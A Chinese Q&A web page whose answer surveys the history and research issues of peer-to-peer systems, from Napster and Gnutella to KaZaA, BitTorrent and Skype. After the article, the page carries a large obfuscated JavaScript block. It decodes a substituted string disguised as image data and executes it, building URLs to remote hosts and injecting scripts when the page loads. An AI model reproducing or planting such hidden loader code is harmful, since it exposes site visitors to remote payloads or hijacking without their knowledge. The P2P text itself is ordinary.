P2P软件使用与性能比较

2025-03-10 11:27:54
推荐回答(1个)
回答1:

你可以参考一下

P2P系统简单发展史

1999年,文件共享系统Napster诞生。Napster是最早的P2P实用系统,参与系统的是大量个人计算机用户,每个用户将自己愿意共享的文件提供出来,同时可以下载其他用户共享的文件。Napster需要解决的核心问题是必须知道哪些机器上有哪些文件,这样当用户提出文件搜索请求时才可以得到正确的匹配结果。

在Napster中使用一个中心服务器,称为目录服务器,存放所有文件的元数据信息(文件的标题和一些简单的描述信息)以及其存放结点的IP地址。结点加入系统时首先要连接目录服务器并报告自身地址及共享的文件列表。用户需要某个文件时向目录服务器提交搜索请求,目录服务器返回符合搜索要求的所有文件的存储地址,之后用户根据对应地址直接从共享此文件的结点处进行文件下载。由于目录服务器只提供索引服务,而不承担文件存储和下载服务,因此它支持上万结点同时在线。Napster在发布后迅速流行起来,很快成为增长最快的网络应用系统。

事实上,Napster中的结点并非全部对等,目录服务器要承担比其它结点繁重得多的工作,从这个意义上说,Naspter并非一个纯粹的对等系统。由于Naspter中的结点动态性很高(指结点的加入、退出很频繁),目录服务器就处在不断的更新之中。并且,目录服务器还要负责响应所有用户的查询请求。因此,当系统规模更大时,目录服务器还是会成为系统的瓶颈。此外,目录服务器的存在成为系统的关键点,也就成为整个系统最易受攻击的要害所在。在Naspter之后的P2P系统都在这一点上进行了重点改进,系统基本上都采用无中心结构,鲁棒性和可扩展性都得到大幅度提高。

Napster在初期取得了巨大成功之后,很快遇到版权问题的困扰。由于Napster上共享的文件有很多是音乐媒体文件,这些音乐媒体在未被授权时是不允许被广泛传播的。而Napster的目录服务器恰恰为这些文件的传播提供了支持,因此Napster很快受到音乐著作方为保护版权而发起的挑战,并于2001年被迫关闭。

Napster第一次验证了P2P思想在广域网范围内的可行性,在Napster关闭之后,更多的P2P文件共享系统迅速崛起,成为Internet发展的一股巨大浪潮,其中最著名的是Gnutella和KaZaA。

从Gnutella到KaZaA

Gnutella对Naspter的体系结构进行了彻底的改变,不再使用中心目录服务器,转而使用全对等结构:每个结点记录多个其它结点的IP地址(称为“指针”),这样整个系统的拓扑就成为一个由指针搭建起来的有向图,通常称这张图为“覆盖网”(Overlay),由于Gnutella的覆盖网中没有规定哪些结点之间必须有指针相连,因此整个覆盖网没有一个有序的结构(比如环形、立方体形、层次结构、树形结构、有向无环图等),被称作“非结构化覆盖网”(Unstructured Overlay)。

当用户需要进行文件搜索时,就在覆盖网上进行广度优先或者深度优先搜索,在搜索到一定的范围后,将得到的匹配搜索条件的结果返回给用户。由于这种搜索不可能遍及整个覆盖网,因此就存在不能搜全的问题。但是这个问题并不严重,因为大多数时候人们总是搜索一些比较热门(popular)的文件,而这些文件在整个系统中往往有很多份,只要搜索的范围不是很小,总可以搜到其中的一份或多份。当然,如何在非结构化覆盖网中搜索不热门的文件也是P2P研究中的一个热点问题,近年来也取得了一些进展。

实际上,这种对搜索完备性的牺牲换来了很高的可扩展性:系统不再有中心结点成为瓶颈,规模可以扩展到上百万甚至上千万结点的规模。并且,由于不存在易受攻击的关键结点,系统的鲁棒性也得到了提高。

KaZaA对Gnutella做了进一步的改进。由于系统中的大多数结点的动态性都很高,因此覆盖网中结点的指针就必须频繁更新,去除掉那些已经离开系统的结点,补入新的在线结点。人们从Napster和Gnutella的实际经验中得知,在P2P文件共享系统中结点的能力差异很大,有的结点能力很强,并且很稳定,每次上线之后能保持很长的在线时间,而更多的结点能力弱,且加入系统后很短时间(很多只有几分钟)就离开系统。这样,KaZaA利用系统中的强结点搭成系统的主干框架,而弱结点附属在临近的强结点上。也就是说:KaZaA把结点分成强、弱两种,强结点之间搭建类似于Gnutella的覆盖网,而弱结点只连接一个或几个强结点,并把自己的元数据(即共享文件的列表)发送给强结点,文件搜索只在强结点上进行。这样KaZaA获得了比Gnutella更高的稳定性和搜索效率。当前,KaZaA的同时在线用户稳定在三百万以上,已成为全球最大的分布式系统。

近期,P2P文件共享系统的版权问题也开始逐步得到解决,Napster在关闭之后被音乐软件生产商Roxio公司收购,Naspter网络被转而成为合法的软件发布渠道。之后,由于业绩看好,Roxio公司更名为Napster,并于2005年1月在纳斯达克上市。目前,Napster的全球注册用户已超过7000万。

P2P结构的应用和研究

另一方面,P2P文件共享系统的成功促使人们致力于在更多方面开拓P2P结构的应用。其中大文件分发系统BitTorrent和基于覆盖网的IP电话系统Skype最为成功。

传统的文件下载大多使用FTP等协议进行C/S方式的下载。这样,对于一些热点文件就会有很多用户同时需要下载,由于服务器端的带宽有限,就会有很多用户的请求得不到满足,从整体上看,下载效率很低。BitTorrent试图充分利用下载用户之间的带宽进行数据传输,从而减轻服务器负担,提高下载速度和系统的可扩展性(同时下载人数)。BitTorrent的基本策略是:每个用户从服务器上下载一部分数据,各个用户下载的部分不尽相同,之后用户之间互相交换对方没有的数据,最终使所有用户都获得全部数据。BitTorrent在推出之后迅速流行,由于越来越多的人使用BitTorrent在Internet上进行数据下载,很快使得P2P系统成为网络流量占据50%以上的Internet首要应用。

Skype作为基于覆盖网的IP电话系统提供了比以往通过Internet直接连接的IP电话更好的语音效果,因此受到用户的广泛欢迎。自2003年发布以来,其用户增长速度迅猛,截至2005年2月,Skype的注册用户已达2100万,同时在线用户超过200万。Skype的系统结构基本上类似于KaZaA,当用户之间需要语音通信时,Skype在覆盖网中找寻出一条当前带宽最大的覆盖网通路,通过多跳转发的方式进行数据传送。通常情况下,在覆盖网中找到的转发通路比起通话两点之间的直接通路质量要好,因此通话过程中语音也就更加清晰流畅。由于Skype的出现和高速发展,越来越多的用户转向IP电话,已经对传统的电信业构成了一定的威胁,而将来Skype这样的基于P2P的IP电话系统很可能会在很大程度上取代传统电话业务成为人们日常通信的基本方式之一。

在P2P系统在产业界迅速发展的同时,研究界也及时跟进,对P2P系统展开了大规模的研究工作。自2000年起,在OSDI、SOSP、SIGCOMM、USENIX、HOTOS等系统结构方向的顶级会议上不断出现关于P2P系统的重要研究成果。2001年,学界又召开了新的专门针对P2P系统的学术会议IPTPS,由于该会议受到各著名院校和研究机构的广泛关注,很快成为P2P研究领域的高峰会议,发表了大批优秀论文,成为P2P研究的风向标。从2002年开始,Berkeley、Stanford等著名大学相继开设了P2P相关的研究生课程,进一步推广了P2P这一新兴的研究方向。

精神实质是“结点合作”

P2P系统的精神实质是“结点合作”。因此,只要一个系统中没有管理者,所有任务都是依靠结点之间的交换与配合完成,这个系统就可以认为是P2P系统。总体上看,已有的P2P系统可以分为两类:

第一类称为“P2P服务系统”(Service-Oriented P2P Systems),P2P服务系统用对等的方式将广域网中的服务结点组织起来,向用户提供更强大、更可靠的服务(数据服务、计算服务、存储服务等),这一类系统包括图书馆资料合作维护系统LOCKSS、广域网分布式实验平台PlanetLab、P2P存储服务系统Ivy等等;

第二类称为“P2P交换系统”(Barter-Oriented P2P Systems)。P2P交换系统为Internet中的大量终端用户搭建资源交换的平台,用户可以在此平台上进行资源交换,所交换的资源可以是文件、数据块、存储空间等。这一类系统包括文件共享系统KaZaA、大文件分发系统BitTorrent、P2P存储交换系统Pastiche等等。

无论是P2P服务系统还是P2P交换系统都面临着很多在传统的分布式系统中没有的新问题:

结点数量大。

很多P2P系统已经达到上百万结点同时在线的规模,这样大的规模导致的一个直接后果是不可能使用全连接的拓扑结构(就是让每个结点记录当前所有的其它结点)。这样一来,如果让结点知道更多其它结点的信息并保证任意两个结点之间能够通信就成为一个棘手的问题。因此,P2P系统中的结点信息收集算法和覆盖网路由协议就成为P2P研究的一个重要方向。

结点动态性高。

对于用户来说,使用P2P系统的一个标准模式是“进入系统-查找资源-获得资源-离开系统”,这一过程通常时间不会很长,因此P2P系统的一个显著特点就是结点的平均在线时间短,实验测算,在Napster和Gnutella系统中结点的平均在线时间仅为2个多小时。结点的高动态性使得维护数据可用性的工作变得非常困难。

结点异构性强。

Internet中结点的硬件能力不同、接入方式不同。这就造成了参与P2P系统的结点在存储能力、计算能力和带宽能力上都有着很大差异,如何利用这种异构性把所有结点的可用资源都充分利用起来以提高系统各方面性能是P2P系统必须仔细研究的问题。

结点分布广泛。

P2P系统的结点在全球范围内分布,由于时区不同,系统的不同部分会在不同时间处于繁忙状态。这对负载平衡、任务迁移、复制策略等方面都提出了新的挑战。

网络异步性强。

传统分布式系统在集群或者局域网的范围内部署,网络属于同步网
(Synchronous Network),也就是说任意两个结点之间的通信延迟总有上限。而P2P系统部署在Internet这一异步网(Asynchronous Network)中,由于网络经常发生阻塞、扰动、分裂等情况,不能保证系统中任意两点的通信延迟有确定的上限。网络的异步性给一些需要严格语义的应用造成了很大困难。例如:复制算法在异步网中就不能保证严格的线性一致性(Linearizability)。那么如何在Internet环境下对于各种操作保证尽量强的可靠性和一致性就需要仔细的分析和研究。

结点之间不互信。

P2P结点来自于不同的组织和用户,结点之间没有天然的信任感,因此安全和隐私保密的工作就十分重要,如何在与别的结点交换数据时保护好自己的隐私一直是P2P研究的一个重要方向。

结点具有自私性。

很多理性用户总是试图多使用别人的资源,少贡献自己的资源。实验测算,在Gnutella中有25%的结点从不共享数据给别人,只从别人那里下载数据。并且有大量的用户(大约占30%)低报自己的带宽以降低其它用户下载其数据的意愿。如何激励用户多贡献自己的资源,保证交换中的公平性也是受很多研究者关注的热点方向。

系统全部暴露在公网中。

在传统的分布式系统中一般只有负责与用户交换的门户结点(Portal)才可以直接从Internet访问,而P2P系统的几乎全部结点可以直接从Internet访问,这使得P2P系统更容易受到攻击。尤其对于一些允许结点任意加入的系统(比如大多数P2P文件共享系统),如何防止联合攻击(Conspiracy Attack)就显得更加重要。

正是P2P系统的这些新特点使得P2P系统从一出现就显得与传统的分布式系统有着非常大的差别。这也是它之所以能够引起众多著名学者的研究兴趣的原因之一。

P2P应用系统应用现状

随着P2P技术的发展,人们尝试着使用P2P的方法解决各种问题,越来越多的P2P应用系统被提出并得到实践的检验,其中主要的包括:

广域网分布式存储系统(P2P存储系统)。

分布式存储系统一直是分布式系统的一个重要领域,传统的局域网范围内的分布式文件系统、分布式对象存储系统、分布式数据库都有着良好的研究基础。P2P技术出现后,人们试图把这些分布式存储系统向更大范围拓展,提出了在广域网中构建的分布式文件系统、对象存储系统和数据库系统。

视频组播系统。

视频组播的带宽要求很高,因此传统的C/S结构的组播系统的往往由于服务器出口带宽的限制而导致系统的可扩展性很差。在基于P2P结构的视频组播系统中,只有少数结点从服务器直接获取数据,更多的结点一方面从其它结点处获得数据,一方面也向其它结点提供数。整个系统的体系结构为树状结构或者网状结构。这种以对等方式构建的视频组播系统充分利用了结点之间的可用带宽而使系统的可扩展性大为提高。

大文件分发系统。

与视频组播系统类似,大文件分发系统也是通过结点之间互相传递数据以减轻数据源点的压力,体系结构也是树状结构或者网状结构。但是由于文件分发系统对实时性、最低可接受带宽等要求不高,因此相对于视频数据它能更充分的利用带宽,获得更高的可扩展性。

域名服务器(DNS)。

当前Internet的DNS服务器之间的连接使用树状结构。在这种结构中,对一些不常用的域名解析时由于在需要在树状结构中进行很多跳的查询转发,因此效率比较低。尤其是如果对一个错误域名进行解析,或者负责解析的服务器暂时不可用时,需要很长时间才能返回用户并显示查询失败。另外,由于现行机制下标识一份文档的url和它的存储地是直接相关的,这给文档的迁移带来很多不便。很多工作致力于使用P2P构架重建DNS系统,使其更高效,并且剥离文档标识与存储地点的相关性,取得了很好的效果。

网页合作缓存(Web Cache)。

Web站点经常出现访问热点而影响网页的可用性和访问效率。如果通过P2P的方式将网页在多个结点中进行多备份的合作缓存,可以很好的解决这一问题。这种合作缓存的方式既可以在多个客户端之间进行,也可以在多个服务器之间进行,还可以将服务器与其客户端组织起来取得更好的分配策略。

覆盖网路由(Overlay Routing)。

虽然Internet可以提供任意两点之间的数据通路,但是由于路由器更新、配置错误、网络拥塞等原因,常常会出现两点之间通信质量差甚至完全不能连通的情况。为了减少乃至避免这种情况的出现,人们提出可以在需要通信的很多结点之间搭建一个覆盖网,当两点之间直接通信不畅时,可以想办法通过其它结点的转发来实现更高效的通信。比如,当结点A无法向结点B发消息或者通信质量很差时,可能存在另一个结点C,A与C、C与B之间的通信都是畅通而良好的,这样A就可以将消息发给C,C再转发给B。

应用层组播(Application-Level Multicast)。

虽然IP层组播技术提出已经有十年之久,但一直没有被广泛使用,主要原因是它需要改变路由器算法,因此难以被广泛部署;而且IP组播需要记录组状态(组名与成员地址),使得协议十分复杂,也不符合Internet设计中一贯坚持的IP层无状态的基本原则。鉴于此,人们提出不需要IP层支持的应用层组播,也就是在需要收到消息的结点之间不断转发消息,以保证消息最终能够被该组的所有成员收到。很多应用层组播在结点之间通过树状结构进行组播,并且:(1)保证有结点进出时树状结构能够迅速修复;(2)优化这一树状结构,使其与下层Internet结构更为匹配,以提高组播效率,降低组播通信对Internet链路产生的压力。

另外,还有一些工作试图建立P2P搜索引擎、利用P2P系统测量网络状况、通过P2P路由消除防火墙与网关的障碍、构建P2P游戏系统等等,这里不再做更详细的介绍。

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();